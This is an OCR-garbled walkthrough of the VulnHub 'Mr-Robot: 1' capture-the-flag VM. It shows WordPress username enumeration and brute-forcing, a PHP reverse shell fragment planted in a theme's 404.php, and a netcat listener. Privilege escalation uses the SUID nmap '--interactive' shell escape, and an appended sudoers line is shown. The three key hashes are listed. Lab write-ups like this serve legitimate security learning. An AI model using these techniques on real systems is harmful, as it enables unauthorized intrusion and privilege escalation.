Mr-Robot: 1 Walkthrough

Author: mrb3n

Download location: https://download.vulnhub.com/mrrobot/mrRobot.ova
Goal: Find 3 keys hidden in different locations

The VM loaded up without an issue and grabbed an IP from DHCP.

I started off with a quick nmap scan, which showed both port 80 and 443 open.

Browsing to both I was greeted with an interactive page which seems to be a clone of
https://www.whoismrrobot.com. Really cool added effects.

€ ©192.168.110.153 v wBa 3 @

Hello friend. If you've come, you've come for a reason. You may not be ahle to explain it yet, but there's a
part of you that's exhausted with this world... a world that decides where you work, who you see, and how you empty and fill your
depressing bank account. Even the Internet connection you're using to read this is costing you, slowly chipping away at your
existence. There are things you want to say. Soon I will give you a voice. Today your education begins

Commands :
prepare
fsociety
inform
question
wakeup
join

root@fsociety:~it ||



https://download.vulnhub.com/mrrobot/mrRobot.ova
https://www.whoismrrobot.com/

I went through each of the prompts to make sure there was no command injection before firing
up Burp and browsing around/spidering.

http://192.168.110.153/ X | https//192.168.110.153/ X | +

€ @192.168.110.153/wakeup

root@fsociety:~# Enter command. Type "help" to see a list of commands.
root@fsociety:~# help

Commands :
prepare
fsociety

inform
question
wakeup
join

root@fsociety: ~#

The robots.txt file presented me with a dictionary file (perhaps alluding to some sort of brute-
forcing_ as well as a key file containing an MD5 hash).

File Edit View History Bookmarks Tools Help

http://192.1...3/robots.txt * | ¥

& 192.168.110.153

User-agent: *
fsocity.dic
key-1-of-3 txt

I saved both files down locally and my initial thoughts were confirmed, a custom dictionary file
with over 850K lines.

File Edit View Search Terminal Help
:~/Desktop/mrrobot# file fsocity.dic

fsocity.dic: ASCII text, with wvery long lines

I also had the first of the 3 keys mentioned in the readme. 1 down, 2 to go!

File Edit View History Bookmarks Tools Help
http://192.1...-1-cf-3.txt * W=

& 192.168.110.153

073403c8a58a1f80d943455fb30724b9



Some more poking around with Burp and I came across a WordPress login page. Since SSH was
not enabled this seemed to be a good candidate for brute forcing.

When the default ‘admin’ username came back as invalid, I was able to guess the user thanks to
WordPress’ convenient built-in username enumeration.

Below is the result for ‘admin’ as the username, showing “ERROR: Invalid username”:

user's Blog!» Log In ¥ | New Tab L

€ /2 @192.168.110.153/wp-login.ph
€ ] p-login.pp

v C“ ‘C\ Search

W,

ERROR: Invalid username. Lost your
password?

Username

Password

O Remember Me

Conversely, when I tried ‘elliot’ I was greeted with “ERROR: The password you entered for the
username Elliot is incorrect”. Awesome, half way there!

user's Blog! » Log In * | New Tab x|+

€ 2 @192168.110.153/wp-login.php

v C‘l ‘Q Search

‘-/{ 5\ Would you like to remember the password for "elliot” =

{ on http://192.168.110.1537

Remember Password | ¥

W

ERROR: The password you entered for the
username elliot is incorrect. Lost your
password?

Username

elliot

Password

[J Remember Me




I decided to run WPScan to both search for any WordPress misconfigurations and/or vulnerable
plugins as well for its brute forcing function. I kicked off the scan with the username ‘elliot’ and
the ‘fsocity.dic’ dictionary as the wordlist. While that ran, I kept poking around the site.

ic --username elliot

ng a version number

/ 858161) 1 At Brute Fi g ' ot Tim 2:54 <> (10001 / 858161)

I didn’t find much else, aside from some trolls hanging around. Several references to the show.

user's Blog!» Log In X | https://192.168.110.153/ ¥ | Page not found | user's... % | http://192.1..153/license % | #*

192,168.110.153

what you do just pull code from Rapid9 or some s@#% since when did you become a script kitty?

192.168.110.153

I like where you head is at. However I'm not going to help you.

After a while it was clear WPScan was going to take a while to brute force the password, if it even
was going to. I left the scan running and went off to do other things...



A few hours later (3 hours 30 minutes 48 seconds to be exact)... I was presented with a positive
result which I am glad I did not wait around for.

The password was Elliot’s employee ID number from the show. Once logged in I poked around
the admin console for a bit and did not turn up anything of note.

Users cuser's Blog! —W... X | hetp//192.1..153/license ¥ | hetp//192.../phpmyadmin X | httpi//192....153/readme X | +

€ ©192.168.110.153 v wBe 3 A =
T @ usersglogt B 0 + New Elliot Alderson
Screen Option Helg

8 Dashboard Users add new

Posts All (2) | Administrater (1) | Subscriber ezl Wt
P Media Bullc Actions j Apply Change role to... j Change 2 items
B Pages Username Hame E-mail Role Posts

Comments elliot Elliot Alderson elligt@mrabot.com Administrator

mich05654 krista Gordon jordon@therapist.com Subscriber

.

Users Username Hame E-mail Role Posts
Il Users Bulk Actions j o 2items

Collapse menu



A quick win when you have direct access to a WordPress admin console is to replace one of the
theme templates with some PHP of your own. I decided to try for a reverse shell by editing the
404.php theme and replacing the contents with the PHP reverse shell from Pentest Monkey.

Edit Themes < user's Blog! — WordPress - Iceweasel v w !

File Edit View History Bookmarks Tools Help

Edit Themes cuser's Blo. *® | http://192.1...153/license ¥ | http://192..../phpmyadmin % | http://192.... 153/readme ¥ | +

€ @192.168.110.153 v wBa ¥+ f
@ @& usersBlogt B 0 Howdy. Elliot Alderson
$churk_ 1400;
07 Media gurite_a = null; 404 Template
gerror_a = null; (404.php)
W Pages gshell = ‘uname -a; w; id; /bin/sh -it; Archive
~ N gdaemon = 0; (archi
® comments $debug = 0;
author-bio phy
» Appearance Comment:
// Dagrenise ourself if possible to avoid zombies later fcom
ntent-link.phg

7/ pentl_fork is hardly ever available, but will allow us to daemonise ntent-none.phy

// our php process and avoid zombies. Worth a try... :

it (function_exists('pengl fork')) { ntent-page.phy
7/ Fork and have the parent process exit

$pid = pentl fork(); ntent-search.phr
ntent.phr
2Esoiey if (gpid = -1) {
Editor Rrintit("ERROR: Can't fork'); F 'm
exit(l); ‘
£ Plugins ¥
it (spid) {
exit(0); // Parent exits
1

/1 Make the current process a session leader
/7 will only succeed if we forked
if (posix setsid() == -1) {

Browsing to http://192.168.110.153/wp-content/themes/twentytwelve/404.php gave me a hit
on my listener. And we’re in!
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192.168.110.153

root@kali: / e ® 0O

File Edit View S5earch Terminal Help
/# nc 443

Checking around the file system a bit I could see there was another user named ‘robot’. This
user’s home directory held the second key file which I could not read...yet.




I was also presented with the MD5 of the user’s password, which I could read.

ord . raw-mds

rdlist=/usr/share

1)

Using this password I was able to su to the user ‘robot’ and form here I was able to read the
second key file.

Digging around the file system as ‘robot’ I could see an FTP client running on local host which
could possibly be leveraged as another route. However, I focused my attention on old version of
nmap owned by root with the SUID bit set. Using the “--interactive” switch I was able to run
commands as root.

nmap --interactive

w.insecure.org/nmap/ )
s h =enter= for help
nmap> !sh
Ish
# id
id
uid=1002( robot) aid=l( euid=0(root] arouops oot) .10 robot)




I first attempted to throw myself a reverse shell with netcat however even though I could run
commands as root the reverse shell still connected back in the context of the user ‘robot’.

File Edit View Search Terminal Help

root@ kali: / @ ®© 0

File Edit View Search Terminal Help

L168.110.153] 60479

Add bitnami paths to sudo

efaults secure_path="/opt/bitnami/varnish/bin:/opt/bitnami/sqlite/b
in:/opt/bitnami/php/bin:/opt/bitnami/mysql/bin:/opt/bitnami/apache2/bin:/op
/bitnami/common/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/shi
n:/bin:/usr/games"”

echo "robot ALL=(ALL) ALL" >> /etc/sudoers
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_.#




I believe that fakeroot was in play which can be used to simulate root privileges.

This was a fun VM and a welcome break from other things. Thanks to the author, Jason, for
putting it together and as always thanks to gotmiik and the #vulnhub team for hosting and
keeping this awesome community going. Looking forward to the next one!

Key locations:

Key # | Location MDs5

1 Web root 073403c8a58a1f80d943455fb30724b9
2 Robot’s home directory 822¢73956184f694993bede3eb39f959
3 Root’s home directory 04787ddef27¢c3deelee161b21670b4eq






